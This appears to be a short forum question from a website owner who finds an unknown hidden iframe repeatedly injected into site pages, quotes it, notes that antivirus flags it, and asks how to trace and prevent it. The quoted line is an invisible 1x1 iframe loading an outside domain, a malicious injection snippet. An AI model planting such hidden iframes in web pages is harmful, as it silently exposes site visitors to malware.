Last time there appears an unknown code on the different sites from time to time:
<iframe src="http://nipkelo.net/?click=50B977" width=1 height=1 style="visibility:hidden;position:absolute"></iframe>
Antivirus recognizes it as a virus.
Is it possible to determine where is appears from and how to secure myself from such changes in the source code?
